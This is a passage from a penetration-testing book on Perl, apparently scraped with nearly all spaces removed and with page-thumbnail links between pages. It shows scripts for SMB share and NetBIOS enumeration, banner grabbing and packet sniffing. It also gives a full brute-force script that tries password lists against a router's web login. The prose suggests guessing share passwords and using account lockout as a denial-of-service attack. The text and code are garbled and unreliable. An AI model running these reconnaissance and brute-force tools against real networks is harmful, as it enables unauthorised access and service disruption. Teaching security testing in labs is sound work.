$protShares++if($1=~/\$$/);
}elsif(/\s+\\([^\]+)\n$/){
print“MACHINE:“,$1,”\n”;
}
}
END{print“\nShares:“,$shareCount,”Protected:“,$protShares,”\n”;}
ThiscodeusesabsolutelynoextraPerlmodulesandslurpsSTDOUTfromtheSMBTreeprogramtouseforfurtherparsingandanalysis.
Basically,weslurpthecontentsofthesmbtreeutility.Ifthelinebeginswithanycharacterthatisnotabackslash,itisagroupname.Otherwise,ifthelinebeginswithtwobackslashes,thenthemachinenamefollowedbyabackslashandasetofcharactersthatarenotbackslashes,allareshareddirectories.Ifthedirectorynamehappenstoendwiththedollarsymbol,$,itishiddenorpasswordprotected.
Thisscanisnotverythorough,andsometimesdoesn’tshowallhostswithnetworkshares.Thisisimportanttorememberduringapenetrationtestwhenwearetryingtobeasstealthyaspossible.Hereisthesampleoutputofthisprogram:
root@wnld960:~#perlsmb.pl
GROUP:WORKGROUP
MACHINE:FOOBARBAZ
Users
Protected
IPC$
D$
C$
ADMIN$
Shares:6Protected:4
root@wnld960:~#
![Page 97: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/97.jpg)
Aswecansee,onlyonesinglehostwasfoundviatheSMBTreemethod.ThereareafewPerlmodulesthatwecanalsouseforNetBIOSnodescanning.Forinstance,theNetworkInfo::Discovery::NetBIOSmoduleprovidesaneasyobject-orientedclassthatwecanusetoscananentiresubnetviaaCIDRstring.Takealookatthefollowingcodeexample:#!/usr/bin/perl-w
usestrict;
useNetworkInfouseNetworkInfo::Discovery::NetBIOS;
useNet::Frame::Device;
useNet::Pcap;
my$err;#errorstring
my$dev=Net::Pcap::lookupdev(\$err);
my$cidr=Net::Frame::Device->new(dev=>$dev)->subnet;
my$scanner=newNetworkInfo::Discovery::NetBIOShosts=>$cidr;
$scanner->do_it;
formy$host($scanner->get_interfaces){
print“IP:“,$host->{ip},”HOSTNAME:”,$host->{netbios}{node},”DOMAIN:”,
$host->{netbios}{zone},”\n”;
}
Inthiscode,wesimplyusetheNetworkInfo::Discovery::NetBIOS,Net::Pcap,andNet::Frame::Devicemodulestogetouradapter,gettheassociatedclasslessinterdomainrouting(CIDR)representationofoursubnet(forexample,10.0.0.0/24),andthenscantheentiresubnetviaARPforhosts,andforeachfoundhost,wesendaNetBIOSnameservice(NBNS)queryasfollows:
root@wnld960:~#perlenumsmbdisc.pl
IP:10.0.0.3HOSTNAME:WNLHPDL360DOMAIN:WNLDOMAIN
IP:10.0.0.11HOSTNAME:WNLSPARCSTNDOMAIN:WORKGROUP
IP:10.0.0.12HOSTNAME:WNLWINDOWIISDOMAIN:WNLDOMAIN
IP:10.0.0.14HOSTNAME:FOOBARBAZDOMAIN:WORKGROUP
root@wnld960:~#
Thisistheoutputofthistypeofscaninourlab.It’seasytoseetheimportanceofthisscanaswehavenowlearneddomainandcomputernames!Sincewehavealreadyscannedournetworkforlivehostsandeachhostforopenedports,wecansimplyiteratethroughtheIPaddressesandquerythemourselveswithyetanotherNetBIOSPerlmodule,Net::NBName.Inourcase,wefound10.0.0.3,10.0.0.11,10.0.0.12,and10.0.0.14.ThisisfarmoreefficientthansendinganentiresubnetfullofARPrequestsagain.Considerthenextcode:#!/usr/bin/perl-w
usestrict;
useNet::NBName;
my$nb=Net::NBName->new;
foreach(3,11,14,12){
my$ns=$nb->node_status(“10.0.0.”.$_);
if($ns){
print$ns->as_string;
}
}
Intheprecedingcode,weusetheNet::NBNameclasstocreateanewobject,$nb.Then,foreachIPaddressthatwehavefoundwiththeport135(RPC)openedfromourprevious
![Page 98: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/98.jpg)
scan,wequerydirectlywiththenode_statusmethodof$nb,andprintouttheresultwithitsas_stringmethod.Breakingthisdownthiswayisnotonlymoreefficient,butalsorequiresfarlessnetworktraffic,makingourworkslightlylesssuspicious.
Hereisthesampleoutputobtainedinourlabfromthisprogram:
root@wnld960:~#perlenumsmb.pl
WNLHPdl360<20>UNIQUEM-nodeRegisteredActive
WNLHPdl360<00>UNIQUEM-nodeRegisteredActive
WEAKERTHAN<00>GROUPM-nodeRegisteredActive
MACAddress=00-15-6D-84-3D-56
WNLSPARCSTN<00>UNIQUEB-nodeRegisteredActive
WORKGROUP<00>GROUPB-nodeRegisteredActive
WORKGROUP<1E>GROUPB-nodeRegisteredActive
WNLSPARCSTN<20>UNIQUEB-nodeRegisteredActive
MACAddress=5C-26-0A-0A-0A-8E
FOOBARBAZ<00>UNIQUEB-nodeRegisteredActive
WORKGROUP<00>GROUPB-nodeRegisteredActive
FOOBARBAZ<20>UNIQUEB-nodeRegisteredActive
WORKGROUP<1E>GROUPB-nodeRegisteredActive
WORKGROUP<1D>UNIQUEB-nodeRegisteredActive
..__MSBROWSE__.<01>GROUPB-nodeRegisteredActive
MACAddress=40-F0-2F-45-24-64
WNLWINDOWIIS<20>UNIQUEB-nodeRegisteredActive
WNLWINDOWIIS<00>UNIQUEB-nodeRegisteredActive
WNLDOMAIN<00>GROUPB-nodeRegisteredActive
WNLDOMAIN<1E>GROUPB-nodeRegisteredActive
WNLDOMAIN<1D>UNIQUEB-nodeRegisteredActive
..__MSBROWSE__.<01>GROUPB-nodeRegisteredActive
MACAddress=BC-85-56-E6-8A-5A
root@wnld960:~#
PassthiswonderfulpayloadofftoourlogsandattempttomountthesharesusingthehostnameswiththeLinuxSMBClientutilityforbrowsing.Tryingdifferentcombinationsofsubstringsoftheworkstation’snames,ordatagleanedfromInternetfootprintingwithafewcommonpasswords,mighthelpyougainaccesstotheprotectedshares.Onethingtonote,though,isthatonmostnetworks,thesystemsaredesignedtolockdomainaccountsafteracertainnumberofwrongpasswordattempts.Thisthenbecomesadenialofservice(DoS)attackwhenusedcreatively.
![Page 99: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/99.jpg)
BannergrabbingBannergrabbingistheactofconnectingtoaportviaasocket,sendingdatatotheservice,andthenanalyzingthereturneddata.WhenservicesarenotlimitedtoIPaddressesbysystemsadministrators,anyone,includingattackers,canquerytheportoftheservice.Considerthefollowingscript:#!/usr/bin/perl
usestrict;
useIO::Socket::INET;
my$usage=“./bg.pl<host><protocoltype><commaseparatedports>
<timeoutseconds>\n”;
die$usageunlessmy$host=shift;
die$usageunlessmy$proto=shift;
die$usageunlessmy@ports=split(/,/,shift);
die$usageunlessmy$to=shift;#timeout(seconds)
my$conPorts;
my$errPorts;
my$sock;
PRTR:foreachmy$port(@ports){
eval{
local$SIG{ALRM}=sub{$errPorts++;die;};
print“bannergrabbing:”,$port,”\n”;
alarm($to);
if($sock=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port,
Proto=>$proto)){
my$request=“HEAD/HTTP/1.1\n\n\n\n”;
print$sock$request;
print“\n”;
while(<$sock>){
chomp;
print““,$_,”\n”;
}
print“\n”;
$conPorts++;
}else{
$errPorts++;
print“couldn’tconnecttoport:“,$port,”\n”;
}
alarm(0);
close$sock;
};
if($@){
warn$port,”timeoutexceeded\n”;
nextPRTR;
}
}
END{print++$#ports,”tested,“,$conPorts,”connectedsuccessfully,
“,$errPorts,”portsunsuccessful\n”;}
Thistypeofintelligencegatheringcanreturnamassiveamountofloot.Foreachport,weconnecttothetargetandsendthestring:HEAD/HTTP/1.1\n\n\n\n
![Page 100: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/100.jpg)
Thisrequestusuallyinducesaresponsefromtheservicethatisrunningonthetarget’sport,evenifitisnotanHTTPservice.Thiscanalsoaidinthefingerprintingoftheoperatingsystemitself.Let’srunthisprogramonafewmachineshereinthelabandanalyzetheoutput:
root@wnld960:~#./bannergrab.pl10.0.0.15tcp22,23,80,1112
bannergrabbing:22
SSH-2.0-OpenSSH_5.5p1Debian-6+squeeze4
Protocolmismatch.
bannergrabbing:23
23timeoutexceeded
bannergrabbing:80
HTTP/1.1400BadRequest
Date:Mon,14Apr201403:26:49GMT
Server:Apache/2.2.16(Debian)
Vary:Accept-Encoding
Connection:close
Content-Type:text/html;charset=iso-8859-1
grabbing:111
4tested,3connectedsuccessfully,1portsunsuccessful
root@wnld960:~#
ThelineproducedfromthecommonSecuredShell(SSH)portspecifiedtheOSthisversionwascompiledfor,thatis,Debian6(Squeeze).ThisisagainconfirmedbytheinstanceofApache2’sresponsetoourquery.
![Page 101: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/101.jpg)
AbruteforceapplicationNowthatwehavethemeanstofindhosts,OStypes,openedports,andhardwaretypesusingPerl,let’stakealookathowtogetmoredataabouttheserviceshostedbythehosts.First,wewilllookattherouterwefoundat10.0.0.1withtheports80and443open.Thisindicatesthatthereismostlikelyaloginpagehostedatthataddressviaawebserver.Sincethereisaport80(nonSSL),let’strytheaddressinthebrowser:
Bingo,it’sasimpleSOHOrouter.Sincewereceivedthehardwaremanufacturerfromtheportscanner.plprogramthatwebuilt,wecansearchonlineresourcesfordefaultusernamesandpasswords.ThiscouldverywellbearogueAccessPoint(AP)putinplacebyanemployeeoraclientofthetarget.Ifwearenotsuccessfulinusingthedefaultpasswordsperdefaultusernames,wewillhavetowriteaPerlprogramtoautomateitforususinglargerpasswordlists.
Oncewehaveasmalllistofpossibleusernamesfromonlineresources,wecanwriteasimpleapplicationthattriesapasswordlistperusername.Todothis,wewillneedtoknowwhatname=””attributesarepassedfortheusernameandpasswordintheHTMLform.Also,weshouldputinthewrongpasswordtoseeexactlywhatisreturned.SomeolderSOHOrouterswillreturnanHTTPresponseof403,forbidden.ManynewermodelswillsimplyuseJavaScripttomaketheauthenticationqueryasynchronouslyanddisplaytheerrorinapop-upwindow,oralert()message.Thisway,ourscriptwillkeeptryingthepasswordlistperusernameuntilitdoesnotseethattypeofresponseusingaregularexpression.Let’stakeaquicklookbehindthecode,usingourwebbrowsertofindoutmoreinformationabouttheLoginpage:
![Page 102: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/102.jpg)
Intheprecedingscreenshot,wesawabrowserthatshowstheDOMelementsviaourbrowser’sbuilt-inInspectElementfunctions.Ourname=””attributesforusernameandpasswordarecreativelynamedusernameandpasswordrespectively.Afterinputtingaboguspassword,weshouldseethefollowing:
AfterviewingthesourcecodefortheERRORpage,thefollowingoutputisrevealedasapatternthatwecanuseforourregularexpression:jAlert(“Authenticationfailed”,“ERROR”
Wecancompilethisasfollows:jAlert..Authenticationfailed….ERROR.
Now,wejustneedtheactionoftheformforourscripttocall:<formaction=“home_loggedout.php”method=“post”id=“pageForm”>
ThefollowingcodeshowshowwewilluseourLWP::UserAgentPerlmoduletopostourformdataasahash:#!/usr/bin/perl-w
usestrict;
useLWP;
my$ua=LWP::UserAgent->new;
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->timeout(5);#timeoutafter5seconds
my$username=shift||die“pleaseprovideausername<inputname=/>
attribute”;
my$passwordname=shift||die“pleaseprovideapassword<inputname=/>
attribute”;
my$url=shift||die“pleaseprovideaURL”;
![Page 103: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/103.jpg)
die“pleasecreatepasswords.txt”unlessopen(PSSWD,“passwords.txt”);
my@passwds;#fulllist
push(@passwds,$_)while(<PSSWD>);
closePSSWD;
my@users=qw(administratoradminuserloginpasswordtechsecurityadm);
&bf;
subbf{#bruteforcesrubroutine
foreachmy$user(@users){
print“Tryinguser:“,$user,”\n”;
foreach(@passwds){
chomp(my$passwd=$_);
print“Tryingpass:“,$passwd,”\n”;
my%form=($username=>$user,$passwordname=>$passwd);#hash
my$res=$ua->post($url,\%form)->as_string;
unless($res=~m/jAlert..Authenticationfailed….ERROR./i){
print“Successfulloginas‘admin’withpassword’”,$passwd,”’\n”;
return;
}
}
}
}
Thisisexactlywhatthecodeintheprecedinglistingdoes.WealreadycoveredthesimplepropertiesofLWP::UserAgent.Here,wejustusethepostandas_stringmethodsinlinetothe$uaobject.
MostSOHOrouters,bydefault,willnotlimitthenumberofwrongpasswordattemptsfromanIPaddress.However,duringourscan,10.0.0.2turnedouttobeaBlackberrydevice:
root@wnld960:~#./portscanner.pl10.0.0.2440-445syn10.0.0.1520
94:eb:cd:84:62:ddMACManufacturer:ResearchInMotionLimited
443openhttps
6portsscanned,0filtered,1open.
OSGuess:RouterFirmware
root@wnld960:~#
Here,weseeanRIMBlackberrydevicewiththeHTTPS443portopened.Immediately,wecanpointourbrowserstothedevicebyusingSSL,https://10.0.0.2.WearealsogiveninformationfromtheSSLcertificate,includingtheSHA1andMD5fingerprint,theMACaddressanddevicetype,andmore.Afteracceptingthecertificate,weseethehostnameBlackberryQ10followedbytheportnumber443.WiththehelpofasimpleGooglesearch,wecaneasilydeducethatthisnetworkeddeviceisaQ10thatisrunningBlackberryOS10fromthehostname:
![Page 104: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/104.jpg)
Wecannowlogallofthisinformationaboutthedevice.IfweinstalltheBlackberryBB10AppmanagerinourbrowserandputthisIPintoourdevices’list,wewillbepromptedwithasimpleHTTPSloginthatstatesthatweonlyhavefivetriesatthepassword.Invisibletousasanattacker,oncethefiveattemptsaredepleted,theuseroftheBlackBerrydeviceisnotifiedbutisnotgivenareasonastowhytheirdeviceislocked,asweseefromthefollowingscreenshotfromBlackberryOS10:
ThisisaperfectexampleofavisibletriggerastonotattemptabruteforceattackontheloginpageunlessintentionallytestingaDoSattack.
![Page 105: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/105.jpg)
SummaryFootprintingandfingerprintingcanresultinamassiveamountofdatafromthetarget.Thisdatashouldbeusedaswemoveintodifferentphasesofthepenetrationtest,totestvulnerabilitiesorevenforsocialengineeringpurposes.Nowthatwehavelearnedtodosomebasicfootprintingandfingerprintingoflivehosts,wecanmoveontothemanipulationofnetworkdatausingtheselivehostaddresses.
Ournextchapterwillcoverjustthat,networkmanipulationandman-in-the-middleattackingusingPerlprogramming.
![Page 106: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/106.jpg)
Chapter4.IEEE802.3WiredNetworkManipulationwithPerlInthischapter,wewillwriteourownpacketcapturingandnetworkmanipulationtoolsusingPerlprogramming.Uptothispoint,wehavealreadywrittenpacketsniffingprogramsthatdisassemblepacketstoanalyzetheirlayers.WehavealsolearnedhowtocreatePcapsyntaxfilterstocaptureonlyspecificpacketsthatmeetourneeds.Thefirstsectionofthischapterisonpacketcapturingandtakesusfurtherintopacketanalysisandfiltering.Thesecondsection,inwhichwelearnmoreaboutnetworktrafficmanipulation,combinesourpassivepacketsniffingwithamoreactiveapproach.Finally,thelastsectionbringsthetwotogetherintoasinglePerlprogram.
![Page 107: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/107.jpg)
PacketcapturingManipulatingnetworktrafficisanecessaryskillforanypenetrationtester.ThedaysofEthernetdumb-hubsaregone.Switchednetworksareeverywhereduetotheirfast,efficientnature.Theyaremeanttoprovidenetworktrafficonlytotheintendedrecipient,evenonlargescalenetworks,whichmakestheartofpacketsniffingslightlymoredifficult.WewillrevisitourARPscannertoolandmodifyittomanipulatenetworktrafficatthedatalinklayer.Duringaman-in-the-middleattack(MitM),theattackermustcontrolthetrafficflowbetweenthevictimandthevictim’speerastransparentlyaspossible.Indoingso,theattackercapturesallnetworktrafficbetweenthevictimandvictim’speer.
ThissectionwillfocusonsniffingpacketsusingPerlprogramming.WealreadycreatedpacketsniffingapplicationsusingtheNet::PcapPerlmoduleinChapter3,IEEE802.11WiredNetworkMappingwithPerl.
![Page 108: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/108.jpg)
PacketcapturefilteringPenetrationtestersshouldhaveacompletegraspofpacketfilteringbeforetryingtowritetheirown,customizednetworktrafficcaptureutility.Thesefiltershelpreducetheprocessingtimeduringreportingandanalysisandtofinelytuneourfocustothescopeofthefinalgoal.WehavealreadyusedaPCAPfilterinChapter3,IEEE802.3WiredNetworkMappingwithPerl,inoursimplescannerapplication.Let’stakeacloserlookathowweapplythesefiltersandhere’sasmalltableoffilteringsyntaxwecanusewithNet::Pcap:
host<hostname> Allpacketstoandfromthehost<hostname>
arphost<IP> ThisindicatesthattheIPaddressofeitherthedestinationorsourceorARPrequestis<IP>
dsthost<IP> ThisindicatesthatthedestinationIPaddressis<IP>
srchost<IP> ThisindicatesthatthesourceIPaddressis<IP>
etherdst<MAC> ThisindicatesthattheMACaddressofthedestinationdeviceis<MAC>
ethersrc<MAC> ThisindicatesthattheMACaddressofthesourcedeviceis<MAC>
dstport<integer> Thisindicatesthedestinationportnumber
srcport<integer> Thisindicatesthesourceportnumber
arp,rarp,ip6,ip,ether,tcp,andudp Thesespecifyaparticularprotocol
Gateway<host> Thisindicateswhetherapacketused<host>asagateway
Thesearejustafewexamplesoffilteringsyntax.AfulldescriptioncanbefoundonthePcapFiltermainpagebytypingmanpcap-filteronourLinuxsystems.Notethat<IP>addressesintheprecedingtablecanbeintheformofIPv4orIPv6.Also,wecandesignafilterwithmultiplespecifications.Wecanevensurroundthemwithparenthesisanduse&&(and),||(or),and!(not)Booleanlogic,aswewillseelaterinthischapter.
![Page 109: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/109.jpg)
PacketlayersDissectingTCPpacketheaders,aswehavedonealready,canbedonewithPerlmodulessuchasNetPacket::Ethernet,NetPacket::IP,andNetPacket::TCPforOSIlayers2(Ethernet/data-link),3(IP/network),and4(TCP/UDP/transport)respectively.Thesemodulesprovideuswithawaytodecodetherawdataofthepacketsintohuman-readableinformation.Forexample,thedecodemethodfromtheNetPacket::TCPPerlmodulecanreturninstancedatasuchasthesourceanddestinationports,sequencenumbers,TCPflags,andmore.ThefollowingisasimpletableofaTCPpacketanditscorrespondingheaderandsubheaderlengths:
EthernetLayer(14bytes)
DestinationMACAddress(6bytes)
SourceMACAddress(6bytes)
EtherType(2bytes)
IPHeader(20bytes)
Version(4bits) InternetHeaderLength(4bits)
Differentiatedservices(1byte)
IPlength(2bytes)
IPID(2bytes)
IPflags(3bits) IPFragmentOffset(13bits)
TimetoLive(1byte)
IPProtocol(1byte)
IPChecksum(2bytes)
SourceIPAddress(4bytes)
DestinationIPAddress(4bytes)
TCPLayer(20bytes)
SourcePort(2bytes)
DestinationPort(2bytes)
SequenceNumber(4bytes)
AcknowledgmentNumber(4bytes)
Offset(4bits) Reserved(4bits)
TCPFlags(1bytes)
WindowSize(2bytes)
![Page 110: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/110.jpg)
Checksum(2bytes)
UrgentPointer(2bytes)
TCPOptions(variablelength)
DataPayload
Let’stakealookathowwecandissectasimilarpacketbywalkingthroughthepacketbytebybyteorforminganoffset,andcross-checkingthisdatawiththepacketcaptureinWireshark.Thismethodwillprovidemorecontroloverfilteringandhelpustounderstandhowexactlythenetworktransactionsoccursothatwecanfinelytuneourpacket-sniffingcapabilitieswithPerlprogramming.Thefollowingcodedisplaysseveralmethodsfordisplayingheaderdataaswestepthrougheachbyte:#!/usr/bin/perl-w
usestrict;
useNetPacket::TCP;
useNet::Pcapqw(:functions);
my$err=””;
my$dev=pcap_lookupdev(\$err);
my$pcap=pcap_open_live($dev,65535,1,4000,\$err);
my$dumper=pcap_dump_open($pcap,“output.cap”);
pcap_loop($pcap,25,\&cap,0);
subcap{
my($user_data,$hdr,$pkt)=@_;
pcap_dump($dumper,$hdr,$pkt);
#walkthrougheachbyte:
my$src=sprintf(“%02x:%02x:%02x:%02x:%02x:%02x”,unpack(“C6”,$pkt));
my$dst=sprintf(“%02x:%02x:%02x:%02x:%02x:%02x”,#6bytes
ord(substr($pkt,6,2)),
ord(substr($pkt,7,2)),
ord(substr($pkt,8,2)),
ord(substr($pkt,9,2)),
ord(substr($pkt,10,2)),
ord(substr($pkt,11,2))
);
#hereweseedifferentmethodsforbytestepping:
my$type=hex(unpack(“x12C2”,$pkt));#2bytes
#my$type=unpack(“x12H4”,$pkt);
my$ttl=hex(unpack(“x22C1”,$pkt));#1byteCisunsignedchar,xis
nullbyte22times
my$ipv=sprintf(“%02x”,ord(substr($pkt,14,1)));#1byte
my$ipflag=sprintf(“%02x”,ord(substr($pkt,20,1)));#1byte
my$proto=sprintf(“%02x”,ord(substr($pkt,23,1)));#1byte
my$srcIP=join“.”,unpack(“x26C4”,$pkt);#26(arepeatcount)null
bytes,4IPbytes,trunc
my$dstIP=join“.”,unpack(“x30C4”,$pkt);#30(arepeatcount)null
bytes,4IPbytes,trunc
my$srcPort=hex(“0x”.unpack(“H4”,substr($pkt,34,1).substr($pkt,35,1)));
my$dstPort=hex(“0x”.unpack(“H4”,substr($pkt,36,1).substr($pkt,37,1)));
my$tcpFlag=sprintf(“%02x”,ord(substr($pkt,47,1)));
my$tcpBin=sprintf(“%08b”,$tcpFlag);
print$src,”->“,$dst,”Type:”,$type,”TTL:”,$ttl,”IPV:”,$ipv,”
IPFLAG:”,$ipflag,”PROTO:”,$proto,”SRCIP:”,$srcIP,”DSTIP:”,$dstIP,”
![Page 111: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/111.jpg)
SRCPORT:”,$srcPort,”DSTPORT:”,$dstPort,”TCPFLAG:
“,$tcpFlag,”:”,$tcpBin,”\n”;
}
END{
pcap_close($pcap);
pcap_dump_close($dumper);
print“Exiting.\n”;
}
Tosavethecapturedpackets,wewilluseafewnewmethodsfromtheNet::Pcapclass,pcap_dump_open,pcap_dump,andpcap_dump_close.Thesewilllogourpacketstotheoutput.capfileasspecifiedinthepcap_dump_openmethod.WearealsousingcommonPerlfunctionssuchassprintf(),ord(),substr(),andunpack()usinganoffsettothebeginningbyteweareinterestedindisplaying.Let’sdoacrossanalysisbetweentheoutputofthisprogramandtheparsedpacketinWireshark.Wewillpickouttwospecificpacketsinthenetworkexchangeoftheoutput:aa:00:04:00:0a:04->40:f0:2f:45:24:64Type:8TTL:100IPV:45IPFLAG:40
PROTO:06SRCIP:10.0.0.15DSTIP:10.0.0.14SRCPORT:22DSTPORT:56369TCPFLAG:
18:00010010
40:f0:2f:45:24:64->aa:00:04:00:0a:04Type:8TTL:296IPV:45IPFLAG:40
PROTO:06SRCIP:10.0.0.14DSTIP:10.0.0.15SRCPORT:56369DSTPORT:22TCPFLAG:
10:00001010
ThefirstbytesofinformationwewillparseoutofthepacketdataareforthedestinationMAC/Ethernetaddress.Thisaddressis6byteslong,atoffset,0through5,asweseefromtheTCPpackettable,andinthefirstpacket,thevalueis40:f0:2f:45:24:64.Thecodeinourprogramusesunpack()tounpacktherawpacketdataintonumericinformationwiththefollowingline:sprintf(“%02x:%02x:%02x:%02x:%02x:%02x”,unpack(“C6”,$pkt))
Thisisthefirstmethodweseeforparsingrawpacketdata.Thereturnedoutputfromunpack()issenttosprintf()tobetranslatedintohexadecimalbytesusingthe%02xtypespecifier.
WecanseethatweuseacompletelydifferentmethodforparsingoutthesourceMAC/Ethernetaddress,whichisspecifiedinthenext6bytes,6to11:my$dst=sprintf(“%02x:%02x:%02x:%02x:%02x:%02x”,#6bytes
ord(substr($pkt,6,2)),
ord(substr($pkt,7,2)),
ord(substr($pkt,8,2)),
ord(substr($pkt,9,2)),
ord(substr($pkt,10,2)),
ord(substr($pkt,11,2))
);
Inthismethod,wewillusethePerlord()andsubstr()functions.Thesubstr()functiontakesthe$pktpacketobject,andastartandfinishpoint(asintegers)forarguments.Thereturnedbytevalueisthenpassedtoord(),whichthenreturnsthenumericalvaluetosprintf().Thesprintf()functionthendisplaysthehexadecimalvalueusingthesametypemodifierasthepreviouslineofcodefromthesourceaddressexample.
![Page 112: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/112.jpg)
WecanuseWiresharktoconfirmourprogram’soutputofthedestinationMACaddress,aswecanseeinthehighlightedtextinthefollowingscreenshot.Wecanalsoseethatthenext6bytesareequaltoaa,00,04,00,0a,and04.ThesevaluesconfirmourPerlprogram’soutputofthesourceMACaddress.
Anothermethodwewillcoverfordecodingrawpacketdataistouseunpack()withoutsubstr().Todoso,wewilluseatemplateofx12C2,whichtranslatestonullifythefirst12charactersandunpacksonlythenexttwointounsignedcharacters.Forinstance,theTCPtypevariable$typeis2bytes.WeseethisinWiresharkforanIPpacket,asshowninthefollowingscreenshot:
![Page 113: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/113.jpg)
Usingthelogicfromtheprecedinglineofcode,ourprogramconfirmsthisbyreturningthefollowingoutputfortheTCPtypeafterpassingtheresultfromunpack()intohex():Type:8
Finally,let’stakealookathowwecanconvertthepacketdataintohexadecimalformusingjustunpack()andasimpletemplate:unpack(“x12H4”,$pkt);
Thereturnedvaluefromthisfunctioncanbesentdirectlytoprintand0800willbereturnedfortheTCPtypevalueofourpacket.ThesearejustafewroundaboutandsimplewayswecanusePerlprogrammingtosniffandanalyzeTCPpacketswithseveralheaders.Todissectotherprotocols,suchasARPforinstance,wewillsimplyhavetorelocateouroffsetvaluesandcandosobyfirstanalyzinganARPpacketinWireshark.
TheapplicationlayerSofarwehaveonlydealtwiththeEthernet,IP,andTCPlayers.Ifwestartawebserverandlistenforremotequeriestoourlocalport80,wecanprint$packetandpossiblyseeHTTPheaderdataintheapplicationlayerofourtraffic.Forourexample,wewillusethelighttpdwebserversoftware.Onceourwebserverisstartedinthelab,wewilllistenonourEthernetdevicefordstandsrcport80withthissimplePerlprogram,usingtheNet::Pcaplibrary,asshowninthefollowingcode:#!/usr/bin/perl-w
usestrict;
useNet::Pcap;
my$err;#erroroutput
my$dev=pcap_lookupdev(\$err);
![Page 114: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/114.jpg)
my($net,$pcapFilter,$filterStr,$mask)=““x4;
pcap_lookupnet($dev,\$net,\$mask,\$err);
my$pcap=pcap_open_live($dev,1024,1,0,\$err);
$filterStr=“(dstport80)||(srcport80)”;
pcap_compile($pcap,\$pcapFilter,$filterStr,1,$mask);
pcap_setfilter($pcap,$pcapFilter);
die$errif$err;
pcap_loop($pcap,25,\&proc_pkt,”);
subproc_pkt{
my($user_data,$header,$packet)=@_;
print$packet;
return;
}
END{
pcap_close($pcap);
print“Exiting\n”;
}
